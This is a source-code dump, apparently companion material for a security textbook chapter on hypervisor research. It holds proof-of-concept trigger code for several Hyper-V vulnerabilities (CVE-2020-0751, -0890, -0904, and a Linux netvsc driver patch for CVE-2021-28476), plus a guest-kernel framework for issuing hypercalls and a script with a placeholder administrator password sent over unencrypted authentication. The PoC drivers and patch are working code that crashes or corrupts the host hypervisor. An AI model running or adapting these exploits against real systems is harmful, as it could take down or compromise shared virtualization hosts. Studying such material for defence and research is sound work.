├── CVE-2020-0751.c ├── CVE-2020-0890.c ├── CVE-2020-0904.c ├── CVE-2021-28476 └── poc.patch ├── GHHv6_ch25 ├── Makefile ├── bootstrap.asm ├── code.py ├── common.c ├── common.h ├── guest.py ├── hypercall.py ├── hyperv_guest.py ├── iso │ └── boot │ │ └── grub │ │ └── grub.cfg ├── macros.asm ├── main.c ├── multiboot2.h ├── namedpipe_proxy.exe ├── pci.py ├── protocol.c ├── protocol.h ├── protocol.py ├── remotemem.py ├── session.py ├── time_sync.py └── vmbus.py ├── README.md └── windbg_hyperv_script.js /CVE-2020-0751.c: -------------------------------------------------------------------------------- 1 | // Advisory: https://labs.bluefrostsecurity.de/advisories/bfs-sa-2020-001/ 2 | 3 | #include 4 | #include 5 | 6 | NTSTATUS 7 | DriverEntry( 8 | _In_ PDRIVER_OBJECT DriverObject, 9 | _In_ PUNICODE_STRING RegistryPath 10 | ) 11 | { 12 | __writemsr(0xC0002008, 0); 13 | return STATUS_SUCCESS; 14 | } 15 | -------------------------------------------------------------------------------- /CVE-2020-0890.c: -------------------------------------------------------------------------------- 1 | // Advisory: https://labs.bluefrostsecurity.de/advisories/bfs-sa-2020-002/ 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | EXTERN_C_START 9 | DRIVER_INITIALIZE DriverEntry; 10 | EXTERN_C_END 11 | 12 | #ifdef ALLOC_PRAGMA 13 | #pragma alloc_text (INIT, DriverEntry) 14 | #endif 15 | 16 | typedef union hv_x64_msr_contents 17 | { 18 | UINT64 as_uint64; 19 | struct 20 | { 21 | UINT64 enable : 1; 22 | UINT64 reserved : 11; 23 | UINT64 guest_physical_address : 52; 24 | } u; 25 | } hv_msr_contents; 26 | 27 | #define HV_X64_MSR_VP_ASSIST_PAGE 0x40000073 28 | #define CR4_VMXE (1 << 13) 29 | #define CPUID_FEAT_ECX_VMX (1 << 5) 30 | #define MSR_IA32_VMX_BASIC 0x480 31 | 32 | __declspec(align(0x1000)) UINT32 vmxon_page[1024]; 33 | __declspec(align(0x1000)) UINT32 assist_page[1024]; 34 | 35 | 36 | NTSTATUS enable_vmxe(void) 37 | { 38 | int cpuInfo[4]; 39 | NTSTATUS status = STATUS_NOT_IMPLEMENTED; 40 | 41 | __cpuid(cpuInfo, 1); 42 | 43 | if (cpuInfo[2] & CPUID_FEAT_ECX_VMX) 44 | { 45 | UINT64 cr4 = __readcr4(); 46 | UINT64 pvmxon_page = MmGetPhysicalAddress(&vmxon_page).QuadPart; 47 | 48 | KdPrint(("[+] Virtualization support detected")); 49 | 50 | if (!(cr4 & CR4_VMXE)) 51 | { 52 | KdPrint(("[+] Enabling VMXE...")); 53 | __writecr4(cr4 | CR4_VMXE); 54 | } 55 | 56 | memset(vmxon_page, 0, sizeof(vmxon_page)); 57 | vmxon_page[0] = (UINT32) __readmsr(MSR_IA32_VMX_BASIC); 58 | KdPrint(("[+] VMX revision %x", vmxon_page[0])); 59 | KdPrint(("[+] Entering monitor mode...")); 60 | 61 | if (__vmx_on(&pvmxon_page)) 62 | KdPrint(("[-] VMXON failed")); 63 | else 64 | status = STATUS_SUCCESS; 65 | } 66 | 67 | return status; 68 | } 69 | 70 | 71 | NTSTATUS 72 | DriverEntry( 73 | _In_ PDRIVER_OBJECT DriverObject, 74 | _In_ PUNICODE_STRING RegistryPath 75 | ) 76 | { 77 | void* hypercall_page; 78 | hv_msr_contents assist; 79 | NTSTATUS status = enable_vmxe(); 80 | 81 | if (!NT_SUCCESS(status)) 82 | return status; 83 | 84 | memset(&assist_page, 0, sizeof(assist_page)); 85 | assist.as_uint64 = MmGetPhysicalAddress(&assist_page).QuadPart; 86 | assist.u.enable = 1; 87 | __writemsr(HV_X64_MSR_VP_ASSIST_PAGE, assist.as_uint64); 88 | __vmx_vmlaunch(); // BOOM 89 | //__vmx_vmresume(); // BOOM 90 | return status; 91 | } 92 | 93 | -------------------------------------------------------------------------------- /CVE-2020-0904.c: -------------------------------------------------------------------------------- 1 | // Advisory: https://labs.bluefrostsecurity.de/advisories/bfs-sa-2020-003/ 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | EXTERN_C_START 10 | DRIVER_INITIALIZE DriverEntry; 11 | EXTERN_C_END 12 | 13 | #ifdef ALLOC_PRAGMA 14 | #pragma alloc_text (INIT, DriverEntry) 15 | #endif 16 | 17 | #pragma code_seg(push, r1, ".text") 18 | __declspec(allocate(".text")) BYTE trigger[] = 19 | { 20 | 0x48, 0x89, 0xC8, // mov rax, rcx hypercall page 21 | 0xB9, 0xAF, 0x00, 0x01, 0x00, // mov ecx, 0x100af 22 | 0x48, 0xBA, 0xFF, 0xFF, 0xFF, // HvFlushGuestPhysicalAddressSpace 23 | 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, // mov rdx,0x7fffffffffffffff GPA 24 | 0x4D, 0x31, 0xC0, // xor r8,r8 flags 25 | 0xFF, 0xD0 // call rax 26 | }; 27 | #pragma code_seg(pop, r1) 28 | 29 | typedef void(* TriggerCall)(void *hc_page); 30 | 31 | typedef union hv_x64_msr_contents 32 | { 33 | UINT64 as_uint64; 34 | struct 35 | { 36 | UINT64 enable : 1; 37 | UINT64 reserved : 11; 38 | UINT64 guest_physical_address : 52; 39 | } u; 40 | } hv_msr_contents; 41 | 42 | #define HV_X64_MSR_GUEST_OS_ID 0x40000000 43 | #define HV_X64_MSR_HYPERCALL 0x40000001 44 | #define HV_X64_MSR_VP_ASSIST_PAGE 0x40000073 45 | #define CR4_VMXE (1 << 13) 46 | #define CPUID_FEAT_ECX_VMX (1 << 5) 47 | #define MSR_IA32_VMX_BASIC 0x480 48 | 49 | __declspec(align(0x1000)) UINT32 vmxon_page[1024]; 50 | __declspec(align(0x1000)) UINT32 assist_page[1024]; 51 | 52 | 53 | NTSTATUS enable_vmxe(void) 54 | { 55 | int cpuInfo[4]; 56 | NTSTATUS status = STATUS_NOT_IMPLEMENTED; 57 | 58 | __cpuid(cpuInfo, 1); 59 | 60 | if (cpuInfo[2] & CPUID_FEAT_ECX_VMX) 61 | { 62 | UINT64 cr4 = __readcr4(); 63 | UINT64 pvmxon_page = MmGetPhysicalAddress(&vmxon_page).QuadPart; 64 | 65 | KdPrint(("[+] Virtualization support detected")); 66 | 67 | if (!(cr4 & CR4_VMXE)) 68 | { 69 | KdPrint(("[+] Enabling VMXE...")); 70 | __writecr4(cr4 | CR4_VMXE); 71 | } 72 | 73 | memset(vmxon_page, 0, sizeof(vmxon_page)); 74 | vmxon_page[0] = (UINT32) __readmsr(MSR_IA32_VMX_BASIC); 75 | KdPrint(("[+] VMX revision %x", vmxon_page[0])); 76 | KdPrint(("[+] Entering monitor mode...")); 77 | 78 | if (__vmx_on(&pvmxon_page)) 79 | KdPrint(("[-] VMXON failed")); 80 | else 81 | status = STATUS_SUCCESS; 82 | } 83 | 84 | return status; 85 | } 86 | 87 | 88 | NTSTATUS 89 | DriverEntry( 90 | _In_ PDRIVER_OBJECT DriverObject, 91 | _In_ PUNICODE_STRING RegistryPath 92 | ) 93 | { 94 | void* hypercall_page; 95 | hv_msr_contents hc_page, assist; 96 | PHYSICAL_ADDRESS pa_hcpage; 97 | NTSTATUS status = enable_vmxe(); 98 | 99 | if (!NT_SUCCESS(status)) 100 | return status; 101 | 102 | hc_page.as_uint64 = __readmsr(HV_X64_MSR_HYPERCALL); 103 | pa_hcpage.QuadPart = hc_page.u.guest_physical_address << PAGE_SHIFT; 104 | hypercall_page = MmMapIoSpace(pa_hcpage, PAGE_SIZE, MmNonCached); 105 | memset(&assist_page, 0, sizeof(assist_page)); 106 | assist.as_uint64 = MmGetPhysicalAddress(&assist_page).QuadPart; 107 | assist.u.enable = 1; 108 | __writemsr(HV_X64_MSR_VP_ASSIST_PAGE, assist.as_uint64); 109 | ((TriggerCall)trigger)(hypercall_page); // Boom 110 | return status; 111 | } 112 | 113 | -------------------------------------------------------------------------------- /CVE-2021-28476/poc.patch: -------------------------------------------------------------------------------- 1 | --- linux/drivers/net/hyperv/rndis_filter.c.orig 2020-11-08 17:19:41.041432214 -0300 2 | +++ linux/drivers/net/hyperv/rndis_filter.c 2020-11-08 17:39:43.948099124 -0300 3 | @@ -702,6 +702,112 @@ static int rndis_filter_query_device_mac 4 | dev->hw_mac_adr, &size); 5 | } 6 | 7 | +int trigger_1(struct netvsc_device *nvdev) 8 | +{ 9 | + struct rndis_device *rdev = nvdev->extension; 10 | + struct rndis_request *request; 11 | + struct rndis_set_request *set; 12 | + struct { 13 | + struct ndis_obj_header hdr; 14 | + u32 flags; 15 | + u32 source_port_id; 16 | + u16 source_nic_index; 17 | + u32 destination_port_id; 18 | + u16 destination_nic_index; 19 | + u64 oid_request; 20 | + } *switch_nic; 21 | + struct rndis_set_complete *set_complete; 22 | + int ret; 23 | + 24 | + request = get_rndis_request(rdev, RNDIS_MSG_SET, 25 | + RNDIS_MESSAGE_SIZE(struct rndis_set_request) + sizeof(*switch_nic)); 26 | + set = &request->request_msg.msg.set_req; 27 | + set->oid = 0x10270; /* OID_SWITCH_NIC_REQUEST */ 28 | + set->info_buflen = sizeof(*switch_nic); 29 | + set->info_buf_offset = sizeof(struct rndis_set_request); 30 | + set->dev_vc_handle = 0; 31 | + switch_nic = (void *)((ulong)set + set->info_buf_offset); 32 | + switch_nic->hdr.type = NDIS_OBJECT_TYPE_DEFAULT; 33 | + switch_nic->hdr.rev = 1; 34 | + switch_nic->hdr.size = sizeof(*switch_nic); 35 | + switch_nic->flags = 1; 36 | + switch_nic->source_port_id = 1; 37 | + switch_nic->source_nic_index = 1; 38 | + switch_nic->destination_port_id = 1; 39 | + switch_nic->destination_nic_index = 1; 40 | + switch_nic->oid_request = 0xbf5bf5bf5bf5bf5b; /* deref addr */ 41 | + ret = rndis_filter_send_request(rdev, request); 42 | + 43 | + if (ret != 0) 44 | + goto cleanup; 45 | + 46 | + wait_for_completion(&request->wait_event); 47 | + 48 | + set_complete = &request->response_msg.msg.set_complete; 49 | + 50 | + if (set_complete->status != RNDIS_STATUS_SUCCESS) 51 | + ret = -EIO; 52 | + 53 | +cleanup: 54 | + put_rndis_request(rdev, request); 55 | + return ret; 56 | +} 57 | + 58 | +int trigger_oid(struct netvsc_device *nvdev, uint32_t oid) 59 | +{ 60 | + struct rndis_device *rdev = nvdev->extension; 61 | + struct rndis_request *request; 62 | + struct rndis_set_request *set; 63 | + struct { 64 | + struct ndis_obj_header hdr; 65 | + char buf[2300]; 66 | + } *strreq; 67 | + struct rndis_set_complete *set_complete; 68 | + int ret; 69 | + 70 | + request = get_rndis_request(rdev, RNDIS_MSG_SET, 71 | + RNDIS_MESSAGE_SIZE(struct rndis_set_request) + sizeof(*strreq)); 72 | + set = &request->request_msg.msg.set_req; 73 | + set->oid = oid; 74 | + set->info_buflen = sizeof(*strreq); 75 | + set->info_buf_offset = sizeof(struct rndis_set_request); 76 | + set->dev_vc_handle = 0; 77 | + strreq = (void *)((ulong)set + set->info_buf_offset); 78 | + strreq->hdr.type = NDIS_OBJECT_TYPE_DEFAULT; 79 | + strreq->hdr.rev = 1; 80 | + strreq->hdr.size = sizeof(*strreq); 81 | + memset(&strreq->buf, 0xff, sizeof(strreq->buf)); 82 | + ret = rndis_filter_send_request(rdev, request); 83 | + if (ret != 0) 84 | + goto cleanup; 85 | + 86 | + wait_for_completion(&request->wait_event); 87 | + 88 | + set_complete = &request->response_msg.msg.set_complete; 89 | + if (set_complete->status != RNDIS_STATUS_SUCCESS) 90 | + ret = -EIO; 91 | + 92 | +cleanup: 93 | + put_rndis_request(rdev, request); 94 | + return ret; 95 | +} 96 | + 97 | +int trigger_2(struct netvsc_device *nvdev) 98 | +{ 99 | + return trigger_oid(nvdev, 0x10294); /* OID_SWITCH_NIC_UPDATED */ 100 | +} 101 | + 102 | +int trigger_3(struct netvsc_device *nvdev) 103 | +{ 104 | + return trigger_oid(nvdev, 0x10245); /* OID_NIC_SWITCH_ALLOCATE_VF */ 105 | +} 106 | + 107 | +int trigger_4(struct netvsc_device *nvdev) 108 | +{ 109 | + return trigger_oid(nvdev, 0x10242); /* OID_NIC_SWITCH_VPORT_PARAMETERS */ 110 | +} 111 | + 112 | + 113 | #define NWADR_STR "NetworkAddress" 114 | #define NWADR_STRLEN 14 115 | 116 | @@ -719,6 +825,21 @@ int rndis_filter_set_device_mac(struct n 117 | 2*NWADR_STRLEN + 4*ETH_ALEN; 118 | int ret; 119 | 120 | + if (mac[0] == '\xFE') 121 | + { 122 | + switch(mac[1]) 123 | + { 124 | + case 1: 125 | + return trigger_1(nvdev); 126 | + case 2: 127 | + return trigger_2(nvdev); 128 | + case 3: 129 | + return trigger_3(nvdev); 130 | + case 4: 131 | + return trigger_4(nvdev); 132 | + } 133 | + } 134 | + 135 | request = get_rndis_request(rdev, RNDIS_MSG_SET, 136 | RNDIS_MESSAGE_SIZE(struct rndis_set_request) + extlen); 137 | if (!reque 138 | -------------------------------------------------------------------------------- /GHHv6_ch25/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -march=native -std=gnu99 -Wall -nostdlib -nostartfiles -nodefaultlibs -fno-stack-protector -mno-red-zone 2 | MKRESCUE = /usr/bin/grub-mkrescue 3 | GRUB_EFI_FLAGS = -d /usr/lib/grub/x86_64-efi/ 4 | GRUB_BIOS_FLAGS = -d /usr/lib/grub/i386-pc/ 5 | OBJECTS = main.o bootstrap.o common.o protocol.o 6 | 7 | all: kernel_efi.iso kernel_bios.iso 8 | 9 | %.o : %.c 10 | $(CC) $(CFLAGS) -c $< -o $@ 11 | 12 | bootstrap.o : bootstrap.asm 13 | nasm -felf64 $< -o $@ 14 | 15 | kernel_efi.iso: iso/boot/kernel 16 | $(MKRESCUE) $(GRUB_EFI_FLAGS) -o $@ iso 17 | 18 | kernel_bios.iso: iso/boot/kernel 19 | $(MKRESCUE) $(GRUB_BIOS_FLAGS) -o $@ iso 20 | 21 | iso/boot/kernel: $(OBJECTS) 22 | $(LD) -melf_x86_64 $^ -o $@ 23 | 24 | clean: 25 | rm -f *.o iso/boot/kernel *.iso 26 | 27 | -------------------------------------------------------------------------------- /GHHv6_ch25/bootstrap.asm: -------------------------------------------------------------------------------- 1 | ;; SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | ;; SPDX-License-Identifier: GPL-3.0-or-later 3 | extern kmain 4 | global _start 5 | [bits 32] 6 | 7 | [section .bss] 8 | align 0x1000 9 | resb 0x2000 10 | stack_top: 11 | pd: resb 0x1000 * 4 ; 4 PDs = maps 4GB 12 | pdpt: resb 0x1000 ; 1 PDPT 13 | pml4: resb 0x1000 ; 1 PML 14 | 15 | [section .data] 16 | gdt: ; minimal 64-bit GDT 17 | dq 0x0000000000000000 18 | dq 0x00A09b000000ffff ; kernel CS 19 | dq 0x00C093000000ffff ; kernel DS 20 | gdt_end: ; TODO: TSS 21 | gdtr: 22 | dw gdt_end - gdt - 1 ; GDT limit 23 | dq gdt ; GDT base 24 | 25 | [section .text] 26 | align 8, db 0 27 | ;; multiboot2 header 28 | mb_header_size equ (mb_header_end - mb_header) 29 | mb_header: 30 | dd 0xE85250D6 ; magic field 31 | dd 0 ; architecture field: i386 32-bit protected-mode 32 | dd mb_header_size ; header length field 33 | dd 0xffffffff & -(0xE85250D6 + mb_header_size) ; checksum field 34 | ;; termination tag 35 | dw 0 ; tag type 36 | dw 0 ; tag flags 37 | dd 8 ; tag size 38 | mb_header_end: 39 | ;; kernel code starts here 40 | _start: 41 | mov esp, stack_top 42 | mov edi, pd 43 | mov ecx, 512*4 44 | mov eax, 0x87 45 | init_pde: 46 | mov dword [edi], eax 47 | add eax, 0x200000 48 | add edi, 8 49 | dec ecx 50 | jnz init_pde 51 | mov dword [pdpt], pd + 7 52 | mov dword [pdpt+0x08], pd + 0x1007 53 | mov dword [pdpt+0x10], pd + 0x2007 54 | mov dword [pdpt+0x18], pd + 0x3007 55 | mov eax, pml4 56 | mov dword [eax], pdpt + 7 57 | mov cr3, eax ; load page-tables 58 | mov ecx, 0xC0000080 59 | rdmsr 60 | or eax, 0x101 ; LME | SCE 61 | wrmsr ; set EFER 62 | lgdt [gdtr] ; load 64-bit GDT 63 | mov eax, 0x1ba ; PVI | DE | PSE | PAE | PGE | PCE 64 | mov cr4, eax 65 | mov eax, 0x8000003b ; PG | PE | MP | TS | ET | NE 66 | mov cr0, eax 67 | jmp 0x08:code64 68 | [bits 64] 69 | code64: 70 | mov ax, 0x10 71 | mov ds, ax 72 | mov es, ax 73 | mov ss, ax 74 | mov rdi, rbx ; MULTIBOOT_MBI_REGISTER 75 | call kmain 76 | -------------------------------------------------------------------------------- /GHHv6_ch25/code.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | 4 | import os 5 | from subprocess import run 6 | from tempfile import NamedTemporaryFile 7 | 8 | class Code: 9 | def __init__(self, code, sym): 10 | self.code = '[bits 64]\n' 11 | self.code += '\n'.join(f'{k} equ {v:#x}' for (k, v) in sym.items()) 12 | self.code += '\n%include "macros.asm"\n' + code 13 | 14 | def build(self, base_address): 15 | with NamedTemporaryFile('w') as f: 16 | f.write(f'[org {base_address:#x}]\n' + self.code) 17 | f.flush() 18 | run(f'nasm -fbin -o {f.name}.bin {f.name}', shell=True) 19 | 20 | with open(f'{f.name}.bin', 'rb') as fout: 21 | ret = fout.read() 22 | 23 | os.remove(f'{f.name}.bin') 24 | 25 | return ret 26 | -------------------------------------------------------------------------------- /GHHv6_ch25/common.c: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 3 | SPDX-License-Identifier: GPL-3.0-or-later 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include "protocol.h" 9 | 10 | static uint16_t SerialPort = 0x3f8; /* TODO: set it dynamically */ 11 | 12 | static void outb(uint16_t port, uint8_t val) { 13 | __asm__ __volatile__("outb %0, %1" :: "a"(val), "Nd"(port)); 14 | } 15 | 16 | static uint8_t inb(uint16_t port) { 17 | uint8_t ret; 18 | __asm__ __volatile__("inb %1, %0" : "=a"(ret) : "Nd"(port)); 19 | return ret; 20 | } 21 | 22 | void setup_serial() { 23 | outb(SerialPort + 1, 0x00); /* disable interrupts */ 24 | outb(SerialPort + 3, 0x80); /* enable DLAB */ 25 | outb(SerialPort + 0, 0x01); /* divisor low = 1 (115200 baud) */ 26 | outb(SerialPort + 1, 0x00); /* divisor high = 0 */ 27 | outb(SerialPort + 3, 0x03); /* 8-bit, no parity, 1 stop bit */ 28 | outb(SerialPort + 2, 0xC7); /* FIFO, clear, 14-byte threshold */ 29 | outb(SerialPort + 4, 0x03); /* DTR/RTS */ 30 | } 31 | 32 | void write_serial(const void *data, unsigned long len) { 33 | const uint8_t *ptr = data; 34 | while (len) { 35 | if (!(inb(SerialPort + 5) & 0x20)) 36 | continue; 37 | len -= 1; 38 | outb(SerialPort, *ptr++); 39 | } 40 | } 41 | 42 | void read_serial(void *data, unsigned long len) { 43 | uint8_t *ptr = data; 44 | while (len) { 45 | if (!(inb(SerialPort + 5) & 1)) 46 | continue; /* TODO: yield CPU */ 47 | len -= 1; 48 | *ptr++ = inb(SerialPort); 49 | } 50 | } 51 | 52 | /* TODO: portable implementation supporting older CPUs */ 53 | uint32_t crc32(const void *data, unsigned long len) { 54 | const uint8_t *ptr = data; 55 | uint32_t ret = 0xffffffff; 56 | 57 | while (len--) 58 | ret = _mm_crc32_u8(ret, *ptr++); 59 | 60 | return ret ^ 0xffffffff; 61 | } 62 | 63 | void reset() { 64 | struct { 65 | uint16_t limit; 66 | unsigned long base; 67 | } __attribute__((packed)) idtr = {0}; 68 | 69 | /* Hard-reset by triple-fault */ 70 | __asm__ __volatile__( 71 | "lidt %0\n" 72 | "int $1" :: "m" (idtr)); 73 | } 74 | 75 | void _reset_oob_buffer(); 76 | 77 | void __assert(const char *msg, const char *file, int line) { 78 | _reset_oob_buffer(); 79 | PUT_LIST(true, UInt32, OOBAssert, CString, 80 | msg, CString, file, Int32, line 81 | ); 82 | send_msg(MTOOB); 83 | reset(); 84 | } 85 | -------------------------------------------------------------------------------- /GHHv6_ch25/common.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 3 | SPDX-License-Identifier: GPL-3.0-or-later 4 | */ 5 | #ifndef COMMON_H 6 | #define COMMON_H 7 | #include 8 | 9 | #define va_start(v,l) __builtin_va_start(v,l) 10 | #define va_arg(v,l) __builtin_va_arg(v,l) 11 | #define va_end(v) __builtin_va_end(v) 12 | typedef __builtin_va_list va_list; 13 | 14 | void setup_serial(); 15 | void write_serial(const void *data, unsigned long len); 16 | void read_serial(void *data, unsigned long len); 17 | uint32_t crc32(const void *data, unsigned long len); 18 | void reset(); 19 | void __assert(const char *msg, const char *file, int line); 20 | #define assert(EX) (void)((EX) || (__assert(#EX, __FILE__, __LINE__),0)) 21 | 22 | #define PTR_ADD(a, s) ((typeof(a))((unsigned long)a + s)) 23 | #define ALIGN_UP(a, s) ((a + (typeof(a))s - 1) & ~((typeof(a))s - 1)) 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /GHHv6_ch25/guest.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | 4 | import protocol 5 | from enum import Enum 6 | from subprocess import Popen, PIPE 7 | from remotemem import RemoteMemory 8 | 9 | class OpType(Enum): 10 | Write = 0 11 | Exec = 1 12 | 13 | class Guest: 14 | guest_id = None 15 | 16 | def __init__(self): 17 | self.proc = None 18 | self.memory = None 19 | self.symbols = None 20 | self._request = [] 21 | 22 | def __enter__(self): 23 | self.proc = Popen( 24 | ('exec qemu-system-x86_64 ' 25 | '-display none ' 26 | '-boot d ' 27 | '-cdrom kernel_bios.iso ' 28 | '-m 300M ' 29 | '-serial stdio ' 30 | '-enable-kvm ' 31 | ), 32 | stdout=PIPE, stdin=PIPE, shell=True 33 | ) 34 | return self 35 | 36 | def __exit__(self, type, value, traceback): 37 | self.proc.kill() 38 | 39 | def _init_boot_info(self, symbols, mmap): 40 | self.symbols = dict(symbols) 41 | self.memory = RemoteMemory() 42 | 43 | for entry in map(dict, mmap): 44 | if entry['type'] == 1: # MULTIBOOT_MEMORY_AVAILABLE 45 | self.memory.add_region(entry['address'], entry['length']) 46 | 47 | kernel_end = (self.symbols['_end'] + 0x1000) & ~0xfff 48 | self.memory.del_region(0, kernel_end) 49 | 50 | def messages(self): 51 | while self.proc.returncode is None: 52 | msg = protocol.recv(self.proc.stdout) 53 | msg_type, body = msg 54 | 55 | if msg_type == protocol.MT.Boot: 56 | self._init_boot_info(**dict(body)) 57 | 58 | yield msg 59 | 60 | def op_write_data(self, data, address=None): 61 | if address is None: 62 | address = self.memory.alloc(len(data)) 63 | 64 | self._request += [ 65 | protocol.f.UInt32(OpType.Write.value), 66 | protocol.f.UInt64(address), 67 | tuple(protocol.f.UInt8(x) for x in data) 68 | ] 69 | return address 70 | 71 | def op_write(self, code, address=None): 72 | if address is None: 73 | address = self.memory.alloc(len(code.build(0))) 74 | 75 | return self.op_write_data(code.build(address), address) 76 | 77 | def op_exec(self, address): 78 | self._request += [ 79 | protocol.f.UInt32(OpType.Exec.value), 80 | protocol.f.UInt64(address) 81 | ] 82 | 83 | def op_commit(self): 84 | protocol.send(self.proc.stdin, self._request) 85 | self._request.clear() 86 | 87 | def execute(self, code): 88 | address = self.op_write(code) 89 | self.op_exec(address) 90 | self.op_commit() 91 | self.memory.free(address) 92 | -------------------------------------------------------------------------------- /GHHv6_ch25/hypercall.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | 4 | import session 5 | import hyperv_guest 6 | import construct as c 7 | from code import Code 8 | from remotemem import PageAlloc 9 | from capstone import * 10 | 11 | HV_MESSAGE_PAYLOAD_BYTE_COUNT = 240 12 | 13 | HvMessageHeader = c.Struct( 14 | 'MessageType' / c.Int32ul, 15 | 'PayloadSize' / c.Int8ul, 16 | 'MessageFlags' / c.Int8ul, 17 | 'Reserved' / c.Int16ul, 18 | 'Sender' / c.Int64ul 19 | ) 20 | 21 | HvMessage = c.Struct( 22 | 'Header' / HvMessageHeader, 23 | 'Payload' / c.Bytes(HV_MESSAGE_PAYLOAD_BYTE_COUNT) 24 | ) 25 | 26 | HvCallPostMessageInput = c.Struct( 27 | 'ConnectionId' / c.Int32ul, 28 | 'RsvdZ' / c.Const(0, c.Int32ul), 29 | 'MessageType' / c.Int32ul, 30 | 'PayloadSize' / c.Int32ul, 31 | 'Message' / c.Bytes(HV_MESSAGE_PAYLOAD_BYTE_COUNT) 32 | ) 33 | 34 | HvCallSignalEventInput = c.Struct( 35 | 'ConnectionId' / c.Int32ul, 36 | 'FlagNumber' / c.Int16ul, 37 | 'RsvdZ' / c.Const(0, c.Int16ul), 38 | ) 39 | 40 | class Session(session.Session): 41 | dump_contents = False 42 | retry_exceptions = False 43 | timeout = 0 44 | 45 | def __init__(self): 46 | super().__init__(hyperv_guest.GuestGen2) 47 | 48 | def HvCallPostMessage(self, ConnectionId, MessageType, payload): 49 | input = HvCallPostMessageInput.build({ 50 | 'ConnectionId': ConnectionId, 51 | 'MessageType': MessageType, 52 | 'PayloadSize': len(payload), 53 | 'Message': payload.ljust(HV_MESSAGE_PAYLOAD_BYTE_COUNT, b'\0') 54 | }) 55 | self.guest.op_write_data(input, self.hv_postmsg_input) 56 | code = self.code( 57 | f""" 58 | {self.context_save()} 59 | mov rcx, 0x005C 60 | mov rdx, {self.hv_postmsg_input:#x} 61 | call {self.hc_page:#x} 62 | PUT_VA UInt64, rax 63 | REPLY 64 | {self.context_restore()} 65 | """) 66 | self.guest.execute(code) 67 | _, result = self.next_message() 68 | return result[0] 69 | 70 | def HvCallSignalEvent(self, ConnectionId, FlagNumber): 71 | input = HvCallSignalEventInput.build({ 72 | 'ConnectionId': ConnectionId, 73 | 'FlagNumber': FlagNumber 74 | }) 75 | input = int.from_bytes(input, 'little') 76 | code = self.code( 77 | f""" 78 | {self.context_save()} 79 | mov rcx, 0x005D | (1 << 16) ; use fast hypercall 80 | mov rdx, {input:#x} 81 | call {self.hc_page:#x} 82 | PUT_VA UInt64, rax 83 | REPLY 84 | {self.context_restore()} 85 | """) 86 | self.guest.execute(code) 87 | _, result = self.next_message() 88 | return result[0] 89 | 90 | 91 | def dump_hc_page(self): 92 | code = self.code( 93 | f""" 94 | {self.context_save()} 95 | ; send contents of hypercall page to client (first 70 bytes) 96 | PUT_VA Array, array_h, {self.hc_page:#x} 97 | REPLY 98 | {self.context_restore()} 99 | array_h: dd 70, UInt8 100 | """ 101 | ) 102 | self.guest.execute(code) 103 | _, data = self.next_message() 104 | md = Cs(CS_ARCH_X86, CS_MODE_64) 105 | print('Hypercall page contents:') 106 | 107 | for i in md.disasm(bytes(data[0]), self.hc_page): 108 | print(f'{i.address:#x}: {i.mnemonic}\t{i.op_str}') 109 | 110 | exit(0) 111 | 112 | def on_boot(self, body): 113 | super().on_boot(body) 114 | pages = PageAlloc(self.guest.memory, 0x2000).page_list() 115 | ( 116 | self.hv_postmsg_input, 117 | self.hc_page 118 | ) = pages 119 | guest_id = 1 << 48 # Vendor: ID Microsoft 120 | guest_id |= 4 << 40 # OS: Windows NT 121 | guest_id |= 10 << 32 # Major version: 10 122 | guest_id |= 18362 # Build Number: 18362 123 | code = self.code( 124 | f""" 125 | {self.context_save()} 126 | mov rcx, 0x40000000 ; HV_X64_MSR_GUEST_OS_ID 127 | xor rdx, rdx 128 | mov rax, {guest_id:#x} 129 | wrmsr 130 | mov rcx, 0x40000001; HV_X64_MSR_HYPERCALL 131 | xor rdx, rdx 132 | ; set hypercall page GPA & enable bit 133 | mov rax, {self.hc_page | 1:#x} 134 | wrmsr 135 | {self.context_restore()} 136 | """) 137 | self.guest.execute(code) 138 | 139 | if self.dump_contents: 140 | self.dump_hc_page() 141 | 142 | if __name__ == "__main__": 143 | Session.dump_contents = True 144 | Session().run() 145 | -------------------------------------------------------------------------------- /GHHv6_ch25/hyperv_guest.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | 4 | import socket 5 | import guest 6 | from pypsrp.client import Client 7 | 8 | host = 'hyperv_box' 9 | proxy_port = 2345 10 | user = 'Administrator' 11 | password = 'password123' 12 | deploy = True 13 | vm_name = 'test_vm' 14 | pipe_name = f'\\\\.\\pipe\\{vm_name}' 15 | create_gen1 = ( 16 | f'Remove-VM -Name {vm_name} -Force; ' 17 | f'New-VM -Name {vm_name} -Generation 1 -MemoryStartupBytes 300MB -BootDevice CD; ' 18 | f'Set-VMDvdDrive -VMName {vm_name} -Path C:\\\\kernel_bios.iso; ' 19 | f'Set-VMComPort -VMName {vm_name} -Number 1 -Path {pipe_name}' 20 | ) 21 | create_gen2 = ( 22 | f'Remove-VM -Name {vm_name} -Force; ' 23 | f'New-VM -Name {vm_name} -Generation 2 -MemoryStartupBytes 300MB -BootDevice CD; ' 24 | f'Set-VMDvdDrive -VMName {vm_name} -Path C:\\\\kernel_efi.iso; ' 25 | f'Set-VMFirmware -VMName {vm_name} -EnableSecureBoot Off; ' 26 | f'Set-VMComPort -VMName {vm_name} -Number 1 -Path {pipe_name}' 27 | ) 28 | 29 | def wsclient(): 30 | return Client( 31 | host, 32 | username=user, 33 | password=password, 34 | ssl=False, 35 | auth='basic', 36 | encryption='never' 37 | ) 38 | 